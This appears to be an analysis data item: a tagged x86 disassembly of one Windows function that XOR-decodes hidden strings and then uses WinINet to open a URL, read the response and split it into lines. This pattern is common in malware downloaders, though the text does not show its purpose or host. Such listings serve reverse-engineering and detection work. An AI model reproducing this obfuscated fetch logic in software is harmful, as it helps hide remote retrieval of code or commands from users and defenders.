Function at 0x405f20
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43415b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x198
mov eax, dword [0x445050]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x60], edx
mov eax, ecx
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x68], eax
mov ecx, 0x3a
mov dword [ebp - 0x68], eax
mov esi, str._I_YZV
lea edi, [ebp - 0x1a0]
rep movsd dword es:[edi], dword [esi]
xor esi, esi
cmp dword [0x446704], 2
lea ecx, [esi + 5]
lea edx, [esi + 0x1f]
jl 0x4060b3
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440cf0]
movaps xmm6, xmmword [0x440c60]
movd xmm5, ecx
movd xmm7, edx
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x440c70]
paddw xmm1, xmm0
movq xmm0, qword [ebp + esi*2 - 0x1a0]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [ebp + esi*2 - 0x1a0], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x440c70]
paddw xmm1, xmm0
movq xmm0, qword [ebp + esi*2 - 0x198]
pxor xmm1, xmm0
movq qword [ebp + esi*2 - 0x198], xmm1
add esi, 8
cmp esi, 0x70
jl 0x405fb3
cmp esi, 0x74
jge 0x4060de
mov eax, 0x8fb823ef
mov ecx, esi
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x39
sub ecx, eax
add ecx, 0x31
xor word [ebp + esi*2 - 0x1a0], cx
inc esi
cmp esi, 0x74
jl 0x4060b3
lea ecx, [ebp - 0x1a0]
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x88], 0
lea edx, [ecx + 2]
mov dword [ebp - 0x84], 7
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x406105
sub ecx, edx
lea eax, [ebp - 0x1a0]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.004051a0
cmp dword [ebp - 0x84], 8
lea eax, [ebp - 0x98]
push 0
cmovae eax, dword [ebp - 0x98]
push 0
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edx, dword [ebp - 0x84]
mov esi, eax
mov dword [ebp - 0x68], esi
cmp edx, 8
jb 0x40618f
mov ecx, dword [ebp - 0x98]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x406185
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40687c
push edx
push ecx
call fcn.00416502
add esp, 8
xor eax, eax
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 7
mov word [ebp - 0x98], ax
test esi, esi
jne 0x406365
lea eax, [ebp - 0x98]
push eax
call fcn.004068d0
mov edi, eax
cmp byte [edi + 0x16], 0
je 0x406881
xor ecx, ecx
cmp dword [0x446704], 2
mov dword [ebp - 0x5c], ecx
jl 0x406330
movaps xmm0, xmmword [0x440cb0]
mov eax, 5
movaps xmm4, xmmword [0x440c20]
mov esi, 4
movaps xmm3, xmmword [0x440cf0]
mov edx, edi
movaps xmm6, xmmword [0x440c60]
sub esi, edi
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
movd xmm7, eax
mov eax, dword [ebp - 0x30]
nop dword [eax]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, eax
lea eax, [esi + edx]
lea edx, [edx + 8]
paddb xmm1, xmm0
movd xmm0, dword [edx - 8]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edx - 8], xmm1
paddd xmm2, xmm4
mov eax, dword [ebp - 0x30]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edx - 4]
pxor xmm1, xmm0
movd dword [edx - 4], xmm1
cmp ecx, 0x10
jl 0x406220
mov dword [ebp - 0x5c], ecx
cmp ecx, 0x17
jge 0x406881
nop dword [eax]
mov eax, 0x8fb823ef
lea esi, [ecx + edi]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x31
xor byte [esi], cl
mov ecx, dword [ebp - 0x5c]
inc ecx
mov dword [ebp - 0x5c], ecx
cmp ecx, 0x17
jge 0x406881
jmp 0x406330
push 0
push 0x80000100
push 0
push 0
push dword [ebp - 0x60]
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
mov dword [ebp - 0x9c], edi
test edi, edi
jne 0x406557
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [ebp - 0x94]
push eax
call fcn.00406910
mov edi, eax
cmp byte [edi + 0x11], 0
je 0x40653f
xor ecx, ecx
cmp dword [0x446704], 2
mov dword [ebp - 0x5c], ecx
jl 0x406510
movaps xmm0, xmmword [0x440cb0]
mov eax, 5
movaps xmm4, xmmword [0x440c20]
mov esi, 4
movaps xmm3, xmmword [0x440cf0]
mov edx, edi
movaps xmm6, xmmword [0x440c60]
sub esi, edi
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
movd xmm7, eax
mov eax, dword [ebp - 0x30]
nop dword [eax]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, eax
lea eax, [esi + edx]
lea edx, [edx + 8]
paddb xmm1, xmm0
movd xmm0, dword [edx - 8]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edx - 8], xmm1
paddd xmm2, xmm4
mov eax, dword [ebp - 0x30]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edx - 4]
pxor xmm1, xmm0
movd dword [edx - 4], xmm1
cmp ecx, 0x10
jl 0x406400
mov dword [ebp - 0x5c], ecx
cmp ecx, 0x12
jge 0x40653f
nop dword [eax]
mov eax, 0x8fb823ef
lea esi, [ecx + edi]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x31
xor byte [esi], cl
mov ecx, dword [ebp - 0x5c]
inc ecx
mov dword [ebp - 0x5c], ecx
cmp ecx, 0x12
jl 0x406510
push edi
lea ecx, [ebp - 0xb4]
call fcn.00402620
mov dword [ebp - 4], 1
jmp 0x406894
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
movq qword [ebp - 0x3c], xmm0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
sub esp, 8
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x58], 0
call fcn.00406d60
lea eax, [ebp - 0x58]
push eax
push 0x400
push dword [ebp - 0x3c]
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x406801
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x406801
push eax
push dword [ebp - 0x3c]
mov dword [ebp - 0x54], 0
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.00402660
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
movq qword [ebp - 0x2c], xmm0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov byte [ebp - 4], 4
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
mov edi, dword [ebp - 0x44]
cmovae eax, dword [ebp - 0x54]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], eax
test edi, edi
je 0x40672f
push edi
push 0xa
push eax
call fcn.004180f0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x40672f
sub esi, dword [ebp - 0x64]
cmp esi, 0xffffffff
je 0x40672f
nop dword [eax]
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp edi, edx
jb 0x4068b7
sub edi, edx
lea eax, [ebp - 0x54]
mov ecx, esi
sub ecx, edx
cmp edi, ecx
cmovb ecx, edi
cmp dword [ebp - 0x40], 0x10
push ecx
cmovae eax, dword [ebp - 0x54]
lea ecx, [ebp - 0x80]
add eax, edx
push eax
call fcn.00402660
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x24]
je 0x4066d1
movups xmm0, xmmword [ebp - 0x80]
mov dword [eax], 0
mov byte [ebp - 0x80], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x70]
movq qword [eax + 0x10], xmm0
add dword [ebp - 0x28], 0x18
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
jmp 0x4066de
lea ecx, [ebp - 0x80]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00406b00
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 4
call fcn.00402580
cmp dword [ebp - 0x40], 0x10
lea ecx, [esi + 1]
mov edi, dword [ebp - 0x44]
lea edx, [ebp - 0x54]
cmovae edx, dword [ebp - 0x54]
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x64], edx
cmp ecx, edi
jae 0x406723
mov eax, edi
sub eax, ecx
push eax
lea eax, [edx + ecx]
push 0xa
push eax
call fcn.004180f0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x406723
sub esi, dword [ebp - 0x64]
jmp 0x406726
or esi, 0xffffffff
cmp esi, 0xffffffff
jne 0x406650
push dword [ebp - 0x9c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x68]
call esi
mov esi, dword [ebp - 0x5c]
lea eax, [ebp - 0x54]
push eax
mov ecx, esi
call fcn.004025d0
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x4067bf
mov edx, dword [ebp - 0x28]
push ecx
call fcn.00406ce0
mov ecx, dword [ebp - 0x24]
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0x2c]
add esp, 4
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, edi
shl ecx, 3
cmp ecx, 0x1000
jb 0x4067a0
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4068b2
push ecx
push edi
call fcn.00416502
add esp, 8
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x54]
call fcn.00402580
mov ecx, dword [ebp - 0x3c]
test ecx, ecx
je 0x40685c
mov edx, dword [ebp - 0x34]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x4067f5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4068b2
push edx
push ecx
call fcn.00416502
add esp, 8
jmp 0x40685c
mov eax, dword [ebp - 0x5c]
mov ecx, eax
push 0
push 0x44043f
mov dword [eax], 0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.00402660
mov ecx, dword [ebp - 0x3c]
test ecx, ecx
je 0x406859
mov edx, dword [ebp - 0x34]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x40684f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4068bc
push edx
push ecx
call fcn.00416502
add esp, 8
mov esi, dword [ebp - 0x5c]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004164c4
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0041a93f
push edi
lea ecx, [ebp - 0xb4]
call fcn.00402620
mov dword [ebp - 4], 0
mov ecx, eax
call fcn.00402570
push eax
lea ecx, [ebp - 0x74]
call fcn.00402890
push 0x4438e0
lea eax, [ebp - 0x74]
push eax
call fcn.00417993
call fcn.0041a93f
call fcn.00405970
call fcn.0041a93f
int3